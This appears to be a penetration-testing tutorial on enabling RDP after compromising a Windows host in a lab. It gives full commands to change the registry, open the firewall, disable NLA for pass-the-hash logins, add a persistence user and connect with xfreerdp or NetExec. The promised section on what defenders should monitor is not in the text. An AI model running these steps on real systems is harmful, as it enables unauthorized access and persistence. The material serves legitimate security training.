Byte JMP
Windows Post-Exploitation: Enabling Remote Desktop (RDP)

Windows Post-Exploitation: Enabling Remote Desktop (RDP)

After compromising a Windows host, an attacker with local administrator access can enable RDP by modifying a single registry value, opening the firewall, and optionally disabling NLA. This turns a command-line shell into full graphical access using built-in Windows functionality.

·10 min read

TL;DR

After compromising a Windows host, an attacker with local administrator access can enable the Remote Desktop Protocol (RDP) by modifying a single registry value, opening the firewall, and optionally disabling Network Level Authentication. This turns a command-line shell into full graphical access, enabling GUI-based tools, clipboard interaction, and persistent remote entry. No vulnerability is exploited; every step uses built-in Windows functionality.

  • MITRE ATT&CK: T1021.001 — Remote Services: Remote Desktop Protocol
  • Tactic: Lateral Movement, Persistence
  • Platform: Windows

Introduction

During a penetration test, the initial foothold on a Windows machine is often a reverse shell, a WinRM session, or a bind shell with limited interactivity. These command-line sessions are functional, but many post-exploitation activities become significantly easier with a graphical desktop: running GUI tools, interacting with applications that have no CLI equivalent, browsing the filesystem visually, or transferring files through clipboard integration.

Remote Desktop Protocol (RDP) is the native Windows solution for graphical remote access. It is installed on every modern Windows version, but it is disabled by default on workstations and most server installations. When an attacker has already obtained local administrator privileges on a target, enabling RDP is a straightforward operation that converts a limited shell into full interactive desktop access.

This is not a vulnerability. Every command used in this technique is a legitimate Windows administration operation. The attacker is simply reconfiguring a feature that the operating system already supports. The security impact comes from the context: an unauthorized user with stolen privileges uses built-in tools to establish a more capable access channel.

This post covers the four components that control RDP access in Windows, how to check whether RDP is already enabled, how to enable it from a command-line shell, and what defenders should monitor to detect this activity.


How Windows Controls RDP Access

Enabling RDP is not a single switch. Four independent components must be configured correctly before a remote desktop connection succeeds. An attacker who modifies only the registry but ignores the firewall will find that the connection is refused. Understanding all four gates is essential.

1. The Registry: The Master Switch

The primary control for RDP is a single registry value:

HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server

The value fDenyTSConnections determines whether the Remote Desktop service accepts incoming connections:

ValueMeaning
1RDP is disabled (default on workstations)
0RDP is enabled

Setting this value to 0 tells the Terminal Services subsystem to start listening for incoming RDP connections on TCP port 3389.

2. Windows Firewall

Even with the registry value set to 0, the Windows Firewall must allow inbound traffic on the RDP port. Windows ships with a predefined firewall rule group called "Remote Desktop" that covers TCP 3389. On a default installation, this rule exists but is disabled. If the firewall blocks port 3389, the RDP service is listening but unreachable from the network.

3. Network Level Authentication (NLA)

Network Level Authentication is a security mechanism that requires the connecting client to authenticate before the full RDP session is established. When NLA is enabled, the client must present valid credentials through CredSSP at the network layer, and only after successful authentication does the server allocate resources for the desktop session.

NLA is controlled by the registry value UserAuthentication under:

HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
ValueMeaning
1NLA is required (default on modern Windows)
0NLA is not required

From an attacker's perspective, NLA can be a problem when connecting with pass-the-hash or with credentials that CredSSP does not accept cleanly. Disabling NLA is sometimes necessary to use stolen NTLM hashes for RDP access through tools like xfreerdp.

4. The Remote Desktop Users Group

By default, only members of the local Administrators group can connect through RDP. Non-administrator users must be added to the Remote Desktop Users local group. If the attacker already has administrator access, this gate is already passed. However, adding a controlled user to this group can serve as a persistence mechanism: a regular user account with RDP access is less conspicuous than an administrator session.

All four conditions must be met. A failure at any gate blocks the connection, regardless of whether the others are satisfied.


Lab Environment

Domain: evilcorp.local

EVILCORP-DC01
    Domain Controller
    Windows Server 2022
    IP: 10.10.10.1

EVILCORP-WS01
    Domain-joined workstation
    Windows 10 / Windows 11
    IP: 10.10.10.20
    RDP: disabled (default)

ATTACKER
    Kali Linux
    IP: 10.10.10.10
    Tools: xfreerdp, NetExec, Evil-WinRM

The attacker has already obtained a shell on EVILCORP-WS01 with local administrator privileges. The goal is to enable RDP on the compromised workstation so the attacker can connect with a full graphical desktop.

PrerequisiteDetail
Access levelLocal administrator on the target
Current accessReverse shell, WinRM, or similar CLI session
Target stateRDP disabled (Windows default)
GoalEnable RDP and connect with a graphical session

Enumeration

Before making any changes, verify the current state of RDP on the target. This tells you which of the four gates need to be modified.

Check the Registry (Is RDP Enabled?)

reg query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections

Expected output on a default workstation:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server
    fDenyTSConnections    REG_DWORD    0x1

A value of 0x1 confirms that RDP is disabled.

Check NLA Status

reg query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
    UserAuthentication    REG_DWORD    0x1

A value of 0x1 means NLA is enforced. Connections must authenticate through CredSSP before the session is established.

Check the Firewall Rule

PowerShell:

Get-NetFirewallRule -DisplayGroup "Remote Desktop" | Select-Object DisplayName, Enabled, Direction
DisplayName                         Enabled Direction
-----------                         ------- ---------
Remote Desktop - User Mode (TCP-In) False   Inbound
Remote Desktop - User Mode (UDP-In) False   Inbound

Enabled: False means the firewall is blocking RDP traffic even if the service is listening.

CMD alternative:

netsh advfirewall firewall show rule name="Remote Desktop - User Mode (TCP-In)"

Check the Remote Desktop Users Group

net localgroup "Remote Desktop Users"

On a default installation, this group is empty. Administrators can connect through RDP without being in this group, so if the attacker already has admin access, this check is informational.

Check Whether the RDP Service Is Running

sc query TermService

The TermService (Remote Desktop Services) service should be running. On most Windows installations it runs by default even when RDP connections are disabled at the registry level. If it is stopped:

sc start TermService

Enabling RDP

All commands in this section require local administrator privileges on the target. They can be executed from a reverse shell, a WinRM session, PsExec, or any other command execution channel with the appropriate access.

Step 1: Enable RDP in the Registry

CMD:

reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

PowerShell:

Set-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server' -Name fDenyTSConnections -Value 0

The /f flag in the reg add command forces the write without prompting for confirmation. This is necessary in non-interactive shells where a confirmation prompt would hang.

Step 2: Open the Firewall for RDP

PowerShell:

Enable-NetFirewallRule -DisplayGroup "Remote Desktop"

CMD:

netsh advfirewall firewall set rule group="Remote Desktop" new enable=yes

Both commands enable the predefined Windows firewall rules for Remote Desktop, allowing inbound TCP 3389 (and UDP 3389 for UDP transport). The rules already exist in every Windows installation; these commands activate them.

Step 3 (Optional): Disable NLA

If you need to connect using pass-the-hash (for example, with xfreerdp and the /pth flag), NLA must be disabled. With NLA enabled, the server requires CredSSP authentication, which does not accept raw NTLM hashes from most RDP clients.

CMD:

reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f

PowerShell:

Set-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp' -Name UserAuthentication -Value 0

Operational note: Disabling NLA reduces the security posture of the target and is more likely to trigger alerts. Only disable it when pass-the-hash access is required and standard credential authentication is not available.

Step 4 (Optional): Add a User to Remote Desktop Users

If you want a non-administrator account to have RDP access (for persistence or to avoid using a high-privilege account for the graphical session):

net localgroup "Remote Desktop Users" evilcorp\bob /add

This allows bob to connect through RDP without being a local administrator.

All-in-One: Enable RDP from Kali with NetExec

NetExec can enable RDP remotely in a single command, provided you have valid administrator credentials:

nxc smb 10.10.10.20 -u Administrator -p 'P@ssw0rd!' --rdp enable

NetExec modifies the fDenyTSConnections registry value and enables the firewall rules. It does not disable NLA. If you need NLA disabled, do it separately through the registry commands above after connecting via WinRM or another channel.

Enabling RDP Remotely via WinRM

If you have WinRM access to the target, you can run all registry and firewall modifications through a remote PowerShell session:

evil-winrm -i 10.10.10.20 -u Administrator -p 'P@ssw0rd!'

Then execute the registry and firewall commands from the previous steps inside the WinRM session. This is useful when you have credential access but no existing shell on the target.


Verification

After enabling RDP, verify that the configuration was applied correctly before attempting to connect.

Confirm the Registry Values

reg query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication

Expected output:

    fDenyTSConnections    REG_DWORD    0x0
    UserAuthentication    REG_DWORD    0x0

Confirm the Firewall Rule Is Enabled

Get-NetFirewallRule -DisplayGroup "Remote Desktop" | Select-Object DisplayName, Enabled
DisplayName                         Enabled
-----------                         -------
Remote Desktop - User Mode (TCP-In) True
Remote Desktop - User Mode (UDP-In) True

Confirm Port 3389 Is Listening

netstat -an | findstr :3389
  TCP    0.0.0.0:3389           0.0.0.0:0              LISTENING

Connect from Kali

With credentials (password):

xfreerdp /v:10.10.10.20 /u:Administrator /p:'P@ssw0rd!' /cert:ignore /dynamic-resolution

With pass-the-hash (requires NLA disabled):

xfreerdp /v:10.10.10.20 /u:Administrator /pth:<NT_HASH> /cert:ignore /dynamic-resolution

The /cert:ignore flag accepts the target's TLS certificate without verification, which is typical in a lab or engagement environment. The /dynamic-resolution flag adjusts the remote desktop resolution to match the local window.

A successful connection opens a full Windows desktop session as the authenticated user. This confirms that all four gates (registry, firewall, NLA, group membership) are correctly configured.

Remote Verification with NetExec

From Kali, you can also verify that RDP is reachable without opening a full session:

nxc rdp 10.10.10.20 -u Administrator -p 'P@ssw0rd!'

A [+] result indicates that authentication succeeded and the RDP service is accepting connections.


References